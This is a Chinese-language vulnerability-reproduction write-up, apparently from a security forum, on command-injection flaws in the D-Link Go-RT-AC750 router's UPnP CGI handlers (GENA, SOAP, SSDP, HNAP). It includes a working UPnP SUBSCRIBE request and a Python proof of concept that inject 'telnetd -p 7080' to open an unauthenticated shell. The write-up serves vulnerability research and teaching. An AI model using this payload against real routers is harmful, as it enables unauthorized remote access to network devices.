前面的复现都是以CVE编号为主的复现,这次换个方式,以路由器型号为单位进行复现。本次复现的命令注入漏洞都是D-Link Go-RT-AC750中存在的漏洞,目前一共有五个:
在对D-Link Go-RT-AC750命令注入漏洞复现前先了解一些背景知识,主要是CGI和UPnP。
CGI规定了Web服务器调用CGI程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互, 即CGI程序接收Web浏览器发送给Web服务器的信息并进行处理, 将处理后的结果返回给Web服务器。组成CGI通信系统的是两部分:一部分是html页面,用于在浏览器上显示;另一部分则是运行在服务器上的CGI程序。
通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。以Go-RT-AC750的Web服务器工作流程为例:
CGI程序继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在CGI程序结束时销毁。当CGI程序被HTTP服务器调用时,它的环境变量就会增加一些和HTTP服务相关的环境变量。下面是一些常见的和HTTP相关的环境变量(CGI程序使用getenv()
函数获取环境变量,例如 getenv("CONTENT_TYPE")
):
UPnP是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。UPnP主要是为了实现在“零配置”的前提下在联网设备间能自动连接和协同工作。UPnP的协议栈结构图如下:
UPnP协议体系结构中主要协议和规范包括:
当加入一个新的UPnP设备时,工作流程如下:
通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。
这里只是给个简单介绍,具体实现细节请阅读UPnP官方文档,链接见参考文章。
使用binwalk解包,获取文件系统:
解包成功,浏览完文件系统中文件发现有telnetd,可用于漏洞验证:
以调试方式模拟固件,以便分析过程中使用shell查看运行时相关信息:
模拟成功后扫描端口:
通过调试shell查看文件:/var/run/httpd.conf 可知49152
是upnp服务端口。
根据漏洞披露的信息,这个漏洞和服务参数以及genacgi_main函数有关,查找字符串genacgi_main找到相关文件htdocs/cgibin:
将htdocs/cgibin拿到IDA中分析,并直接定位到函数genacgi_main,调用该函数的代码为:
在cgibin程序的main函数中判断是否为gena.cgi
genacgi_main函数的功能是:检查HTTP请求方法和判断URI中是否有?service=
,若HTTP请求方法为SUBSCRIBE或UNSUBSCRIBE则调用对应的函数处理。当REQUEST_METHOD为SUBSCRIBE
时,获取一些环境变量并使用sprintf函数拼接成字符串传入到xmldbc_ephp函数中处理:
xmldbc_ephp函数将拼接的subscribe_string 通过/var/run/xmldb_sock传入到/htdocs/upnp/run.NOTIFY.php文件中进行处理并返回处理结果到服务器。subscrib_string的内容形式为:
查看/htdocs/upnp/run.NOTIFY.php文件内容:
查找文件中涉及的函数GENA_subscribe_new:
综上可知漏洞点在fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
代码中的目的是为了执行rm -f shell_file命令删除shell_file文件,但shell_file可通过SUBSCRIBE传入的服务参数进行控制并且全程没有任何对服务参数的检查,从而可实现命令注入。
此漏洞涉及到的是UPnP的GENA(通用事件通知结构)相关内容,当设备服务状态发生变化时,会通过event通知控制点。控制点能收到通知的前提是要先订阅(SUBSCRIBE)该服务的指定event。订阅特定服务的事件的方法是:发送订阅消息到该服务的事件 URL。通过分析可知,此漏洞的触发条件是要路由器发送UPnP订阅服务的请求。根据UPnP官方文档可知订阅请求格式如下:
结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的subscriber的请求头如下:
Poc脚本执行后,成功取得shell:
根据漏洞披露的信息可知漏洞点和 service 参数以及 soapcgi_main 有关,在文件系统中查找soapcgi_main并定位到所在文件cgibin,将其拿到IDA中逆向分析,通过函数名查找,定位到soapcgi_main函数,调用该函数的代码如下:
soapcgi_main中关键代码如下:
这段代码是在获取与请求相关的环境变量,可获得的信息有:
综上分析可知,漏洞出现的原因是POST 的URI中?service=
后面的内容可由输入控制,全程没有对该处输入进行检查,直接sprintf后由system函数执行。
此漏洞涉及到的是UPnP的SOAP(简单对象访问协议)相关内容,SOAP主要是用于保证UPnP设备具有互操作能力。控制点可以调用UPnP设备上的服务,并接收返回结果。根据UPnP官方文档,要调用UPnP设备上的服务,控制点必须以POST方法发送以下格式的请求:
由上面的分析可知要构造的POST请求头如下:
Poc脚本执行后,成功取得shell:
根据漏洞披露的信息可知和ssdpcgi_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索ssdpcgi_main函数,调用该函数的代码为:
根据前面分析的漏洞可知,这次漏洞请求URL中的文件是ssdpcgi。ssdpcgi_main函数中漏洞点关键代码如下:
根据上图代码可知要实现命令注入需要的环境变量如下:
这些数据被传入lxmldbc_system
函数,在该函数中直接拼接执行,没有任何检查。这几个环境变量中只有HTTP_ST是需要请求头设定的,即HTTP_ST是可控制的输入,因此HTTP_ST的值即为漏洞点。
此漏洞涉及到的是UPnP的SSDP(简单服务发现协议)相关内容,该协议主要是用于发现网络中的UPnP设备。控制点(用户操作的HTTP客户端)可以通过使用简单服务发现协议,根据自己的需要在网络中查询能够提供特定服务的设备。相应的设备(也就是本路由器)向控制点发出回应,声明自己的存在及能提供的服务。该协议在HTTP之下使用的是UDP。控制点需要用以下格式发送请求:
综上分析,结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的请求头如下:
Poc脚本执行后,成功取得shell:
根据漏洞披露的信息可知和hnap_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索hnap_main函数,调用该函数的代码为:
hnap_main函数中关键代码如下:
代码中没有对HTTP_SOAPACTION
的值进行检查,直接将其内容中“/”后的内容拼接到buffer中执行。要想HTTP_SOAPACTION
的值被作为注入点执行,请求方式不能为POST,可设定为GET,URL为/HNAP1/
。
Poc脚本执行后,成功取得shell:
根据漏洞披露的信息,此漏洞和/htdocs/upnpinc/gena.php
文件有关。查看该文件内容:
通过查找该文件相关函数调用关系发现此漏洞和CVE-2023-34800所提及的是同一个漏洞。那么此漏洞的复现过程及Poc见CVE-2023-34800。
D-Link Go-RT-AC750相关的命令注入漏洞复现就告一段落了,起初看到一个设备有这么多命令注入漏洞,就很好奇会不会是同一个原因造成的,经过逐一复现后发现也能算是同一个原因,使用UPnP服务不检测输入的原因。这个固件把UPnP的GENA、SOAP、SSDP等位置的漏洞都触发了一遍,是一个很好的学习UPnP漏洞的样本。
变量 |
含义 |
REQUEST_METHOD |
服务器与CGI程序之间的信息传输方式 |
QUERY_STRING |
采用GET时所传输的信息 |
CONTENT_LENGTH |
传来的有效信息长度 |
CONTENT_TYPE |
传来的信息的MIME类型 |
SERVER_NAME |
服务器的IP或名字 |
SERVER_PORT |
服务器的端口号 |
SERVER_ID |
服务ID |
REMOTE_ADDR |
客户机的主机名 |
REMOTE_HOST |
客户机的IP地址 |
binwalk -Me GORTAC750_A1_FW_v101b03.bin
binwalk -Me GORTAC750_A1_FW_v101b03.bin
假设传入:SUBSCRIBE URL ?service=service_xx
/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh
假设传入:SUBSCRIBE URL ?service=service_xx
/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite
from
socket
import
*
from
os
import
*
from
time
import
*
request
=
b
"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request
+
=
b
"Host: 192.168.0.1:49152\r\n"
request
+
=
b
"Callback: <http://192.168.0.1/>\r\n"
request
+
=
b
"NT: upnp:event\r\n"
request
+
=
b
"Timeout: Second-infinite\r\n\r\n"
s
=
socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname(
"192.168.0.1"
),
49152
))
s.send(request)
sleep(
10
)
system(
'telnet 192.168.0.1 7080'
)
from
socket
import
*
from
os
import
*
from
time
import
*
request
=
b
"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request
+
=
b
"Host: 192.168.0.1:49152\r\n"
request
+
=
b
"Callback: <http://192.168.0.1/>\r\n"
request
+
=
b
"NT: upnp:event\r\n"
request
+
=
b
"Timeout: Second-infinite\r\n\r\n"
s
=
socket(AF_INET, SOCK_STREAM)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-8-5 19:23
被伯爵的信仰编辑
,原因: